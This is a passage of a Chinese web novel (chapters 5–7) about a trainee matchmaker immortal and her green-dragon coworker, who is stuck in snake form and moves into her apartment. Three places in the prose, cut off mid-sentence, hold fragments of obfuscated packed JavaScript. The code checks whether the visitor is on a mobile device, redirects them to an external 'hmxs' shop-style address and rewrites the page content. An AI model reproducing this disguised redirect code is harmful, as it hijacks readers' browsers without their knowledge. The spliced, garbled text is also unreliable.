她脸上的笑容瞬间褪去,取而代之的是全然的紧张和不安,语速飞快。 “那个,李科长!今年毕竟是我参加工作的第一年啊!” “就算我每个月的考核都低空飞过……啊不是,都合格了呀!不用这么着急就给找我岗位的候补吧?我、我还能再努力努力的!” 李帅被她这一连串“突突突”逼得后退了半步,似是要拉开安全距离。 他皱起眉头,无奈地压低了声音:“想什么呢!这是青龙族为了熟悉人界工作,派来历练的,只是恰好安排在我们月老部。历练结束就调回去了,不会占你转正名额的。” “哦哦,原来是这样啊!是来历练的!” 桃喜宁悬着的心瞬间落回,紧绷的身体也恢复了松弛。 她长舒一口气,脸上重新堆起笑容,“科长您放心,我保证和新同事和睦相处……” 桃喜宁话音未落,因为放松而随意一动的手臂,就不小心碰到了桌上的鼠标。 鼠标微微一转,漆黑的电脑屏幕“唰”地亮起—— 那份布满了乱七八糟修订标记、甚至有一处被特意高亮标注着【李科长说此处措辞需要修改!!!】的月度业绩报告文档,就这么明晃晃地占据了整个屏幕! 空气仿佛在这一刻被彻底抽空。 一种名为尴尬的气氛开始在这方小小的空间里缓慢流淌。 桃喜宁的脸一下红到了耳根,手忙脚乱地再次狠狠拍了下鼠标,屏幕再次应声而黑。 她低着头,几乎不敢去看李科长此刻的表情,结结巴巴地试图解释。 “李、李科长……这个,我正在非常、非常认真地撰写月度业绩报告!” “这些标记,是为了、为了时刻提醒自己,务必按照您的高标准来要求自己,把需要注意的地方重点突出,绝不再犯之前的错误!” 上方传来李帅一声悠长的、饱含着复杂情绪的叹息。 “小桃啊,”他的声音听起来有些疲惫。 “有工作积极性是好事,但是呢,工作的方式方法,还是要多注意一些。尤其是新同事马上就要到了,你虽然也是刚上岗,可到时候代表的是我们整个月老部的形象和脸面啊。” “是是是,李科长您批评得对!我一定注意,一定深刻反省!”桃喜宁连连点头,态度极其诚恳。 李帅摇了摇头,没再说什么,转身出去接新同事了。 桃喜宁在办公室里正襟危坐,等了许久,还不见李帅带着新同事回来。 最初的紧张感渐渐被无聊和好奇取代,她不由得开始天马行空地幻想起来。 青龙族,听说过的。 和月老部这种需要考试才能就业的岗位不一样。 在仙界里,青龙这类的岗位只在族内流转,由所有的族龙轮流上岗。 这位新同事,说不定高大俊美、能力卓越?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958674|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>……嗯嗯,很有可能!毕竟是仙界土著,品质应该有保障。 这万一工作中朝夕相处,这位新同事不小心被她的勤奋和质朴打动,喜欢上她了,那可怎么办才好? 桃喜宁不自觉地闭上眼,双手捧住微微发烫的脸颊,陷入了甜蜜的烦恼,甚至小声自言自语起来。 “哎呀……这样发展办公室恋情,是不是影响不太好啊……” “小桃?小桃?桃喜宁!”李帅的声音突然炸响,猛地将她从幻想中拽了出来。 桃喜宁一个激灵,睁开了眼睛。 映入眼帘的依然是面带无奈的李帅,而他旁边——什么也没有。 新同事呢?还没来? 她下意识地左右张望,正准备开口询问。 李帅却伸手指向了办公桌桌面,语气平淡无波:“小桃,别找了。这位就是你的新同事,敖翔。” 桃喜宁顺着李帅手指的方向,疑惑地低头看去。 只见此时的办公桌面上,正盘着一条通体青色、鳞片泛着细碎闪光的...小蛇? 那小青蛇甚至还昂着脑袋,一双竖瞳正一瞬不瞬地盯着她。 “李、李科长,这位……”桃喜宁再次卡壳了。 不是说好的,新同事是青龙吗?这不对啊! 李帅无视了她的震惊,微笑着解释:“小桃啊,敖翔他......暂时还不能化为人形。以后的工作里,你要多担待,多照顾他一些。” 桃喜宁只觉得刚才脑海里那个高大俊美的形象——“咔嚓”一声碎成了渣渣,但是当着新同事的面不好开口,只得偷偷给李帅传音。 【李科长!这、这新来的同事就算不能化人形,也该是龙形吧?】 李帅的传音立刻回了过来,带上了点警告的意味。 【青龙在能够化为人形前都是小青蛇,而且在人界蛇形不是更隐蔽?】 【我们部长亲自安排过来历练的!关系户的事情,你少打听!把他平安送走就是大功一件!】 这边,桃喜宁和李帅还在你来我往地加密传音通话。 那边,名叫敖翔的新同事,已经自顾自地在办公桌上优哉游哉地游动了起来,左看看右瞧瞧。 当他路过鼠标时,甚至还颇为嫌弃用尾巴尖,“啪”地一下将其扫到了一边。 好巧不巧,这一扫,电脑屏幕再次顽强地亮起—— 那份命运多舛、布满修订痕迹的业绩报告,再次被公开处刑。 敖翔游到屏幕正前方,昂起脑袋,盯着那份报告看了几秒。 然后,一个清晰无比的、带着十足嘲弄意味的少年音在寂静的办公室里响起:“啧——桃喜宁是吧,看你这业绩,也不怎么样啊。” 这么轻飘飘的一句话,瞬间就点燃了桃喜宁积压已久的业绩焦虑,还顺带捎上了刚才幻想破灭的郁闷。 她把李帅的警告抛到了九霄云外,一个箭步冲上去,拉住小青蛇的尾巴就开始晃荡: “说谁业绩不怎么样呢!你一条刚来报到的,懂什么月老部的业绩!” “你!你居然敢这么对待我!”敖翔被她晃得头晕眼花,气得回头嘶嘶吐着信子。 “李科长!李科长你快管管她!” 然而,房内早已空空荡荡。 不知何时,经验丰富的李帅,早已悄无声息地溜之大吉,将这片剑拔弩张的现场,彻底留给了这对新搭档。 ...... “我欺负你?李科长把你硬塞给我,我还觉得是你欺负我呢!” 桃喜宁双手叉腰,对着桌上把自己盘成一团的小青蛇怒目而视。 “你一个来历练的,还敢说风凉话嘲讽我的业绩!我也要告到李科长那里去!就告你干扰同事工作,破坏团队和谐!” 5. 第5章 亏得月老庙下午没什么人来访,桃喜宁跟敖翔的冷战才得以持续上演。 一个对着电脑屏幕,把键盘敲得噼里啪啦震天响,仿佛每个按键都跟她有仇。 另一个在办公桌上把自己盘成一团,连脑袋都深深埋了进去,一副已自闭勿打扰的姿态。 在这种近乎窒息的氛围中,桃喜宁几乎是数着分钟熬时间。 当时钟的指针终于精准地指向下班时刻,她几乎是弹射起步,“啪”的一声关上了办公电脑。 “下班——!”桃喜宁拖长了音调宣布,开始手脚麻利地收拾自己的包包,“终于可以回去躺平了……” 虽然今天来了个糟心的新同事,但上班的烦恼,关下班什么事? 这份泾渭分明的觉悟,是每一位合格打工仙的必备修养! 嗯?等等,手腕怎么沉甸甸的,动不了了? 桃喜宁低头一看,只见敖翔不知何时已经游到了她的手边。 细长的尾巴正紧紧地勾缠住她的袖口,昂起的小脑袋上,竖瞳里充满了货真价实的困惑。 “回去?你要回哪里去?”敖翔来了个二连问:“你难道不住在这里?月老庙里没有住宿的地方吗?” “我当然不住在月老庙里了!我是自己租的公寓好吗?”桃喜宁没好气地开始拉扯自己的袖子。 “快松开,这衣服是刚买的,勾坏了你赔啊?” 听说她不住这里,敖翔非但没有松开,反而尾巴缠得更紧了,甚至开始往反方向用力,语气里带着点耍无赖的倔强。 “为什么不能住?我不管,我就要住这里!房间在哪里?” “都说了没有……哎你别扯!” 一人一蛇正在拉扯争执间,异变陡生! 身后那尊一直静默不语的月老塑像,毫无预兆地放射出耀眼光芒! 这光芒如同实质,瞬间充盈了整个办事处,将每一寸空间都笼罩在一种宁静而威严的氛围之中。 坏了! 桃喜宁心里“咯噔”一声,瞬间松开了敖翔,以最快速度规规矩矩地站好,双手紧贴裤缝,连呼吸都放轻了。 光芒渐敛,只见那月老塑像幻化成一位慈眉善目、白须飘飘的老者。 他轻轻一步,便从那高高的神座上踏了下来。 “小桃是吧?”老者的声音温和,带着一种历经岁月沉淀的宁和。 “是!部长好!”桃喜宁感觉额角的冷汗都快滴下来了,声音更是有些发紧。 天啊!李科长千叮万嘱过的——部长他老人家随时可能降临在任何一个办事网点视察工作! 她兢兢业业工作了这么久都没碰上,怎么偏偏在今天,在下班这个节骨眼上,而且还是在她跟新同事拉扯扯扯的时候,给撞了个正着! 桃喜宁一边懊恼都怪敖翔耽误了她宝贵的跑路时间,一边又有点诡异的庆幸——幸好自己还没走,不然岂不是要被扣上早退的帽子? 这算是不幸中的万幸吗? “挺好,挺好。”部长笑眯眯地,目光在她身上停留一瞬,便转向了桌上那条已经彻底僵直、宛如一根筷子的小青蛇。 “小熬啊,”他和蔼地开口,“你家里此前说,你是主动要求来我们月老部历练的?” 早在部长突然现身的那一刻,敖翔整条蛇就已经石化了。 此刻被点名询问,他猛地抖了一下,下午跟桃喜宁斗嘴时的伶牙俐齿此刻消失得无影无踪,憋了好一会儿,才挤出一个细弱、甚至带着点颤音的:“……是。” “不错,不错。年轻仙有心历练,是好事。”部长捋了捋长须,脸上笑容更盛,显得十分满意,“我就是顺路过来看看,你们该下班就下班,啊,不必拘束。” 说完,也不见他有何动作,又是一阵光芒闪过,部长的身影已然消失无踪。 那尊月老塑像依旧端坐于神位之上,仿佛一切都未曾发生。 直到那无形的威压彻底散去,桃喜宁才敢长长地吁出一口气,感觉后背的衣料都有些汗湿了。也就在这时,她感觉到手腕上缠绕的力道一松。 低头一看,原来是敖翔也被吓得不轻,不自觉地松开了勾着她袖子的尾巴。 机不可失! 桃喜宁眼疾手快,一把抓起了早已收拾好的包包,以平生最快的速度“嗖”地蹿向了月老庙的大门。 直到跑出几十米远,她才回头朝着庙里喊了一嗓子:“你——!最后一个走的,记得锁门——!” 声音还在空气中飘荡,身影已经消失在了街角。 桃喜宁一路狂奔,直到确认已经离月老庙足够远,敖翔绝对追不上了,这才放缓了脚步,笃悠悠地沿着人行道往前走。 时近年底,道路两旁的树木叶片凋零,在地上铺了一层地毯,脚踩上去,发出细微碎裂声 这声音莫名让她感到安心。 桃喜宁索性将什么业绩考核、烦人同事、部长视察统统抛到脑后,一心一意踩着脚下沙沙作响的落叶。 不知不觉,脚步停在了一处台阶前。 一股混合着各种诱人味道的香甜气息扑面而来。 她抬起头——眼前是一家装潢明亮的零食专卖店,招牌上写着大大的“饴”字。 透过橱窗,能看见里面一排排货架井然有序,摆满了包装精美的零食,琳琅满目,色彩缤纷。 桃喜宁的整张脸几乎贴到了玻璃上,目光在里面来回扫视,心里盘算着要不要犒劳一下今天备受折磨的自己。 “左上角那个太甜,齁嗓子。”一个略带挑剔的声音突然从她的衣服口袋里传出。 “右下角那个看着还行,但嚼劲肯定不够。要我说,中间那排,靠右边那个独立小包装的,味道算是还行。” 桃喜宁大惊失色,猛地低头,只见敖翔那个青色的小脑袋,正从她的口袋边缘冒了出来,一双竖瞳正打量着橱窗里的商品。 “你!你怎么在我口袋里?!” 桃喜宁几乎是尖叫出声,又立刻意识到是在大街上,赶紧侧过身挡住口袋,同时手忙脚乱地试图用指尖把这个不速之客按回去。 敖翔的小脑袋灵活地左右晃动,躲避着她的攻击,声音里还带着点理直气壮。 “不然你以为我怎么追上你的?月老部肯定有统一的员工宿舍吧?快带我去!我要跟你住一起!” “才没有什么员工宿舍呢!”桃喜宁压低声音,又急又气,双手齐上总算把他的脑袋暂时摁了回去。 “我是用月老部每月发的信仰值,兑换成人界的货币后,自己租的公寓!你也自己去租啊。” 听到这话,口袋里沉默了片刻。 随即,敖翔的脑袋又顽强地钻了出来。 只是这次,那双竖瞳里写满了难以置信:“可、可我只是来历练的!月老部不给我发信仰值啊!” 这下,轮到桃喜宁难以置信了:“就算月老部不给你发,你家里也不给你发吗?” 好歹是青龙族吧,不至于连生活费都克扣吧? 敖翔整条蛇仿佛都蔫了下去,连那身鳞片都随之黯淡了几分,原本挺直的尾巴尖也无精打采地垂落下来。 小小声:“家里原本要我去财神部历练,我自己非要来月老部,家里不同意,所以就给我断了生活费。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958675|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着这瞬间从嚣张切换到无助的模式,桃喜宁的心像是被什么东西轻轻戳了一下。 想到敖翔初来乍到,身无分文,在人界连个落脚的地方都没有…… “哎……”她叹了口气,一时心软,话便脱口而出:“算了算了,实在不行……你就先、先去我的公寓暂住一下吧。等以后……再想办法。” 话音刚落,刚才还蔫头耷脑的小青蛇瞬间把身体挺得笔直,连鳞片都仿佛重新恢复了光彩。 他甚至还像模像样地干咳了一声:“看在你如此诚恳邀请的份上……好吧,就这么定了!” 随即,敖翔那灵活的尾巴尖立刻再次指向零食店的橱窗,语气变得轻快而期待:“对了!既然顺路,能买一些这个零食吗?我喜欢吃。” …… 最终,桃喜宁还是脚步沉重地走向了地铁站。 她不仅没能甩掉敖翔,还被迫返回月老庙锁了一趟门,足足多走了一倍的冤枉路。 而此时此刻,她的脑袋里还在嗡嗡作响,全是敖翔传来的、喋喋不休的碎碎念。 “哎,为什么不同意买刚才的零食啊?那个组合买一送一,算下来相当于打了五折呢!多么划算!” 去地铁站的路上,会经过赫赫有名的财神庙——这也是财神部在本市的人界办事网点。 只见财神庙门口,气派程度与月老庙不可同日而语。 此刻,一辆线条流畅、漆光锃亮的商务车正停在门口,几位财神部员工正谈笑风生地陆续上车。 “啧啧啧,这是通勤的班车吧,看看人家财神部!”敖翔又偷偷从口袋边缘探出一点脑袋。 “再看看这排场!同一个城市,人家员工都好几个。再看看咱们月老部……唉。” 桃喜宁闻言更是没好气,用凉飕飕的语气回道:“现在人界都一心求财,财神部信众多,收到的信仰值更多!” “哪里是我们这种牵红线、管姻缘的月老部能比的?你要是真这么眼热,大可以申请重新调回财神部历练啊!” 敖翔的小脑袋“嗖”地一下转了回来,语气陡然拔高,听得出来些许恼怒。 “你以为我去不了吗?我告诉你,我当初选部门的时候看得清清楚楚——财神部那工作,啧啧,忙得跟什么似的!哪有在月老部清闲……咳咳!” 他的话头猛地刹住,随即小心地瞟了一眼桃喜宁。 “知道知道,我们月老部现在在人界没有财神部业务多呗。”桃喜宁早就习惯了这种对比。 她的目光依旧胶着在那辆商务车上,喃喃自语,声音里充满了向往:“我听说……财神部办事处的员工,都统一租在隔壁那个高档小区呢……” 敖翔似乎已经从刚才的小小失态中恢复过来,仿佛是跟桃喜宁杠上了,专戳她痛处:“哟?你这么向往财神部,当初怎么不直接报考啊?” 桃喜宁的肩膀瞬间垮了下来,语气低沉,带着点难以启齿的窘迫:“……因为报考财神部的考生太多了,录取率低得吓人。” 她顿了顿,声音更低了,“而且我当初入宗门时,答应过我爸妈,如果能成仙……就争取做个月老。” 敖翔拉长了调子,用一种老气横秋的语气总结道:“哦~~~~原来是考不上,外加有家训啊。” “要你管!”桃喜宁猛地回过神来,恼羞成怒,再次一把将他的脑袋摁回口袋里,脚下加快步伐,匆匆走向地铁站入口。 然而,这一路上,她的口袋里依旧持续传来闷闷的、坚持不懈的传音: “喂!别走那么快!我们到底住在哪儿?房子多大?你说清楚啊!” 6. 第6章 “总——算——到——家——了——” 桃喜宁推开房门,仿佛完成了一场艰苦的旅途。 她把手里的包包随手往最近的椅子上一扔,软绵绵地歪倒在客厅的沙发上,发出一声满足的喟叹。 下班高峰期的地铁车厢,拥挤如斯,恐怖如斯! 她区区一个实习月老,在复杂浓郁的班味交织成的混沌洪流中,根本不堪一击。 一趟地铁坐下来,桃喜宁感觉仿佛进行了一场名为通勤的残酷考验,此时此刻只想与沙发融为一体,直到地老天荒。 就在她意识逐渐即将模糊之时,一道青色的影子“嗖”地从她口袋里蹿出,轻盈地落在沙发扶手上。 敖翔,这位新晋同事,似乎完全不受凡间通勤之苦的影响,他先是优哉游哉地用尾巴尖拨弄着沙发上那个印着缘定三生的抱枕。 “啧,缘定三生?”讥诮的少年音再次响起,带着明显的嫌弃。 “这印花,未免也太俗气了点。莫非是你们月老部卖不出去的周边,拿来内部消化了?” 桃喜宁一口气没顺上来,勉强抬起的手臂,有气无力地朝小青蛇抓去。 敖翔灵巧地一扭身,便躲开了她的手掌,轻巧地跃到地板上,开始了对新环境的巡视。 “啧啧,公寓这么小就算了,怎么连摆设都透着一股廉价的味道?” 他一边用挑剔的目光扫视着客厅,一边甩着尾巴游弋着,在客厅转完一圈后,又丝滑地游进了厨房。 紧接着,厨房里便传来一阵“乒乒乓乓”的响动,像是锅盖被掀开,瓶罐被碰撞。 桃喜宁心里一紧,本想挣扎着爬起来去看看那条惹事精又在搞什么名堂,奈何身体像是被牢牢黏在了沙发上,每一处都在喊着拒绝移动。 她只得仰着头,朝着厨房方向有气无力地喊:“喂!你又在厨房里干什么呢?!” 片刻之后,敖翔从厨房里游了出来,身姿挺拔,宛如刚刚完成了一场重要调研。 他昂起脑袋,语气里带着一丝洞悉真相的高傲。 “桃喜宁,我严重怀疑你这公寓只是个临时落脚点。你那些厨具都是九成新的,压根没怎么开过火吧?调味品连塑封都没拆,好多都过期了。冰箱倒是挺大,可惜里面大半都是空的,只有几块冻得硬邦邦的不明物体!” 桃喜宁在心里默念了三遍:“他是同事,他是关系户,打他我肯定要写检查,转正就更别想了。” 这才勉强把那股无名火压下去。 “就算还在实习期,我也是正儿八经的月老部员工!” 她试图用音量弥补心虚,振振有词地为自己辩驳:“我又不需要像凡人一样吃喝,干嘛要把冰箱装满?那是对信仰值的浪费!” 敖翔闻言,不再四处游走,而是径直游到沙发前,唰地一下立起上半身,一双竖瞳一瞬不瞬地紧紧盯着桃喜宁。 那目光极具穿透力,盯得她后颈发毛,心里直打鼓。 “有……有话直接说!别在这里卖关子装深沉!”桃喜宁被看得浑身不自在,忍不住一拍沙发扶手,强行坐直身体,试图在气势上占据高地。 敖翔没被气势压到,尾巴尖有一下没一下地轻轻敲打着木地板。 “难道说……你不是懒得做饭,而是仗着自己是仙不用进食,所以压根——就、不、会、做、饭?” “你!”桃喜宁被戳破心事刚要炸毛,忽而眼珠一转,计上心来。 她抱起手臂,脸上露出一个“我早就看穿你了”的笑容:“光动嘴皮子谁不会,有本事你来做啊?该不会……你也就是纸上谈兵吧?” “说谁纸上谈兵呢?” 敖翔的小脑袋昂得更高了,语气里带着被小瞧的不悦。 “今天就让你开开眼,什么叫真正的技艺!你,去下单!” 桃喜宁心里乐开了花:成功了!既保住了面子,又能蹭到一顿饭,简直是一箭双雕! 说起来,她确实好久没吃吃喝喝过,早就馋了。 “行,你等着!” 对饭菜的渴望支撑着桃喜宁,让她爆发出强大的意志力,硬生生把自己从沙发的封印中撕了下来。 她跌跌撞撞走到椅子边,从包里翻出手机,解锁,打开生鲜购物APP,选货,下单,付款,一系列动作一气呵成! …… 仙界的信仰值兑换与人界物流网络无缝对接,效率极高。 不过半个小时的功夫,订购的各类蔬菜和肉类就已经送到了公寓门口。 桃喜宁一手一个沉甸甸的大塑料袋走进厨房时,敖翔早已占据了料理台的制高点。 “你,把菜洗了。”“你,把肉切块。” 敖翔用尾巴尖精准地指挥着,桃喜宁则手忙脚乱地打着下手。 她刚拿起一颗西红柿,敖翔的点评就如期而至:“啧,你买的这西红柿不够红润,一看就没怎么晒过太阳。” 她又拿起一块猪肉,敖翔的尾巴尖跟着指了过来:“你看看你买的这肉,肥瘦分布不均匀,口感肯定不行。” 当桃喜宁拿起菜刀时,敖翔的声音瞬间拔高,带着十足的戏剧效果。 “哎哎哎!停!你怎么拿刀的?姿势不对不对!你这哪是切菜,你这是要上去打架吗?手腕要这样……唉,算了,跟我的厨艺比起来,你这就叫……唔!” 在一句接一句、密集如雨的“差评”中。 桃喜宁感觉到自己额头上的青筋欢快地跳动着,握刀的手慢慢收紧,指节因为用力而微微发白。 她硬是从牙缝里挤出一个扭曲的笑容,打断了敖翔的喋喋不休:“既然这也不好,那也不行……!” 敖翔似乎终于感知到了危险,细长的身体一僵,当即就想从料理台上溜走,却还是慢了一步。 桃喜宁眼疾手快,一把就将他扣在了案板旁! 她的手指如同铁钳,牢牢固定住了试图挣扎的小青蛇。 “跑什么?”她俯下身,脸上挂着和善到令人毛骨悚然的微笑,“我这就好好表现,保证让熬大厨满意。” “救——命——啊——!打同事了!月老部员工虐待来历练的同事啦!”敖翔拼命扭动挣扎,冰凉的鳞片在桃喜宁手心摩擦。 桃喜宁一只手险些按不住这滑不留手的家伙。 情急之下,另一只拿着菜刀的手也松开了刀,双手齐上,才勉强将敖翔控制在掌心之下。 “叮咚!” 清脆的门铃声突兀地响起,打破了公寓内的喧闹。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958676|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >桃喜宁猝不及防,手上力道一松。敖翔抓住这千载难逢的机会,身子一扭,迅速从她的指缝间钻出,“嗖”地一下溜得无影无踪。 “……”桃喜宁看着空荡荡的手心,咬了咬牙。 算了,先去开门……待会儿再跟敖翔算账! 她整理了一下有些凌乱的头发和衣服,努力让表情恢复正常,然后走到门口,打开了房门。 门外站着的是隔壁的邻居岑漫,她手里拎着好几个满满的购物袋,脸上带着些许不好意思的笑容: “那个……小桃,没打扰你吧?我今天下单买多了食材,一个人吃不完,想着问问你需要吗?可以送你一些。” 桃喜宁还没来得及回答,一道影子便从岑漫身后窜出,目标明确地直扑客厅沙发! 是岑漫的宠物狸花猫,笔芯。 桃喜宁对它可不陌生——一只猫妖,岑漫出门采风时,笔芯还曾被短期寄养在桃喜宁这里。 沙发上,刚刚逃出生天的敖翔,正盘踞在那个缘定三生的抱枕上喘息。 面对笔芯的突然袭击,他反应极快,身体猛地向旁边一闪,险之又险地避开了那带着尖爪的扑击。 “喵呜!”一击落空,笔芯显然不肯罢休,身体低伏,喉咙里发出威胁的咕噜声,再次蓄势待发。 敖翔似乎也被激起了几分火气,不再一味躲闪,反而开始有意逗弄起这只不知天高地厚的凡间猫妖。 他的动作灵活得不可思议,每每总是在猫爪即将触及鳞片的瞬间,才以一种近乎戏谑的姿态堪堪躲过。 一时间,一猫一蛇在并不算宽敞的客厅里上演了一场精彩的龙虎斗,身影翻飞,带倒了垃圾桶,碰歪了纸巾盒,场面一度十分混乱。 “笔芯!停下!不能这样!对不起啊喜宁!” 岑漫在后面焦急地喊着,试图上前抓住自己的猫,但笔芯此刻却根本不理会她的呼唤。 桃喜宁看得心急如焚,虽然心里虽然嘀咕着“虽然不知道敖翔为什么不能化为人形,但好歹据李科长说是...青龙,总不至于连只猫妖都对付不了...吧?”。 可眼睁睁看着那锋利的猫爪一次次擦着那抹青色的身影而过,她的心还是提了起来。 想归想。 当敖翔为了戏耍对方,又一次故意放慢速度,几乎是将自己送到猫爪之下时。 桃喜宁的心口猛地一缩,再也忍不住了! 她一个箭步冲上前,不顾一切地伸手,精准地一把将那只还在嘚瑟的小青蛇捞了起来,紧紧护在了自己怀里! 笔芯失去了目标,愣了一下,终于停了下来,有些不甘心地围着桃喜宁的脚边“喵喵”直叫,还用脑袋蹭了蹭她的裤腿。 “哎哟,笔芯!你真是不像话!”岑漫终于得以上前,一把将自家闯祸的猫抱了起来,脸上满是歉意。 “实在对不起啊,见疏,没吓到你吧?我家笔芯被我宠坏了,平时挺乖的,也不知道今天怎么回事,看到你的……呃,你的宠物蛇就这么激动。” 桃喜宁感受着怀里那小青蛇冰凉的鳞片,松了口气,刚想对岑漫说“没关系”…… 一个清晰的、带着十足委屈和指控的少年音,就在脑中骤然炸响【她居然说我是宠物蛇!!!】 7. 第7章 脑袋里被那道委屈又愤怒的传音炸得“嗡嗡”作响,桃喜宁下意识地拍打着怀里的小青蛇。 她一边对着岑漫维持着尴尬而不失礼貌的微笑,一边拼命在脑中给敖翔讲道理。 【岑漫是我邻居!她现在就站在我们面前!我不说你是宠物蛇,难道要说你是来历不明的野生动物吗?她要是反手一个电话召唤来帽子叔叔,你让我怎么解释?】 【说你是我们月老部新来的员工,因为还不能化形所以是条蛇?那我们俩就等着一起被处罚吧!】 另一边,岑漫怀里的狸花猫笔芯极其不安分地拱来拱去。 毛茸茸的脑袋使劲往外钻,一双圆溜溜的猫眼死死锁定桃喜宁怀里的那抹青色,喉咙里发出低沉的、充满威胁的声音,时不时还亮出锋利的爪子虚张声势。 见到这只猫妖竟敢如此挑衅,敖翔又憋不住了,整条蛇都扭动起来。 【你放开我!我今天非要让这只不知天高地厚的知道厉害!】 他疯狂地晃着小脑袋,信子“嘶嘶”地吞吐着,若非被桃喜宁死死按住,恐怕已经飞身扑上去了。 “那个……实在抱歉啊,小桃。”岑漫脸上的歉意几乎要溢出来,她的身体语言诉说着去意,脚尖已经不自觉地转向了门口。 “笔芯今天太反常了,我怕它再闹下去真要伤到你的……宠物蛇。要不我今天还是先带它回去吧。” “是我不好意思才是!”桃喜宁立刻顺水推舟。 她此刻的想法和岑漫高度一致——赶紧把这一猫一蛇隔开! “你今天还特地带了吃的过来,结果闹成这样。下次!下次我请你吃饭!” 两个邻居在门口进行了一番迅速而客气的告别,公寓门“咔哒”一声关上的刹那。 桃喜宁背靠着门板,长长地、无声地吁出了一口气。 然而,她这口气还没完全松下来,就感觉到怀里一空。 只见敖翔从她怀中弹出,精准地落在沙发上的那个缘定三生的抱枕上,然后—— 整条蛇猛地一转身,用线条优美的背部对着她,盘成一团,连脑袋都埋了进去,一声不吭。 空气里弥漫着一股无声的、浓郁的怨念。 这是……在生闷气? 桃喜宁眨眨眼,觉得有些新奇,凑近沙发,蹲下身来,试图让自己的视线与那条闹别扭的小青蛇保持在同一条水平线上。 她甚至深长脖子歪过头,想从侧面观察一下敖翔。 结果脸刚凑过去,敖翔就像背后长了眼睛似的,身体“唰”地一下,灵活地又转了个角度,再次用那坚定的、布满青色鳞片的背部对着她,以实际行动表达了“我不想理你”。 好吧,确实是在生闷气,而且气性还不小。 桃喜宁有些哭笑不得。 她活了这么多年,什么场面没见过? 但应对一个既是新同事、又是新室友的生气,这经验着实是零。 桃喜宁的目光扫过略显凌乱的客厅,又瞥见厨房料理台上那些刚刚经历了一场风波、还未来得及收拾的食材,心里叹了口气。 她清了清嗓子,试探性地问道:“那个……熬大厨?您看,这天色也不早了,今晚还……展现您那的厨艺不?” 沙发上的青色“蚊香”纹丝不动,连鳞片都没有闪烁一下。 “行吧……”桃喜宁站起身,把声音放得轻快:“那您先歇着,消消气。我把这些食材收拾收拾放冰箱,可不能浪费了。” 她走进厨房,故意弄出一些不大不小的“窸窸窣窣”的声响,将塑料袋归拢,打开冰箱门,把食材一样一样往里塞。 期间,还偷偷从厨房探出半个脑袋,观察客厅的动静——很好,那团“蚊香”盘得更紧了,几乎要变成一个密不透风的青色圆球。 桃喜宁心里觉得好笑,面上却不动声色——这个时候上前,指不定敖翔反弹得更厉害。嗯,还是得冷处理,晾他一晾。 她走出厨房,站在卧室门口,用再正常不过的语气说道。 “敖翔,我这儿公寓小,只有一个卧室。你住的话,客厅的沙发就归你了哦。我先去楼下扔个垃圾哈。” 说完,她非常干脆利落地拎起垃圾袋,走出公寓,还“咔哒”一声顺手把门给带上了。 客厅里,瞬间只剩下敖翔。 他难以置信地微微抬起埋着的脑袋,竖瞳里充满了震惊和……一丝不易察觉的委屈。 这……就结束了?! 居然就这么走了?!不再多哄哄他吗?至少也得再说两句好话吧?一句也行啊? 一股莫名的、更加汹涌的憋闷感涌上来。 敖翔“嗖”地一下从沙发上弹起,轻盈地落在地板上,几下就游到了单元门边。 他竖起身体,将小脑袋贴近门缝,能清晰地感知到门外毫无气息——桃喜宁居然真的走了了!不是在假装! “可恶!没眼力见的!也不知道继续哄哄我!” 敖翔气得在卧室门外来回游动,细长的尾巴焦躁地拍打着地面,可惜,门外依旧毫无动静,仿佛是无声的嘲讽。 就在他考虑是不是要用脑袋撞门以示抗议时—— “小翔。”一个熟悉的声音响起。 敖翔立刻停止了所有动作,回头望了一眼单元门,随即迅速游回客厅中央。 只见客厅那扇紧闭的窗户,此刻正被悄无声息地推开一条缝。 他的父亲——敖椿庭正灵巧从缝里翻进来,没有发出丝毫声响。 “爸!”敖翔活学活用了桃喜宁刚才的警告:“这里是高楼!被人看见你这么爬楼,要叫帽子叔叔来的!” “放心放心。”敖椿庭丝毫不在意:“确认过了,这里是死角,绝对没有人看见。” 他目光落在眼前敖翔身上,脸上的微笑瞬间凝固,眼眶说红就红。 【小翔!你受苦了啊!】敖椿庭一个箭步上前,声音带着哽咽。 “我和你妈每天都想着你。尤其是你妈,特地吩咐我带些你平日爱吃的点心和小菜来看你!” 说着,敖椿庭手腕一翻,凭空取出了好几个精致的食盒。 他手脚麻利地将食盒一一打开,里面赫然是色香味俱全的各式佳肴,诱人的香气很快充斥了整个客厅。 敖翔的眼睛“唰”地一下就亮了,刚才那点委屈和气愤瞬间被抛到了九霄云外。 他昂起小脑袋,露出了期待的神色,身体不由自主地就要往桌上凑:“妈果然还是心疼我的!” 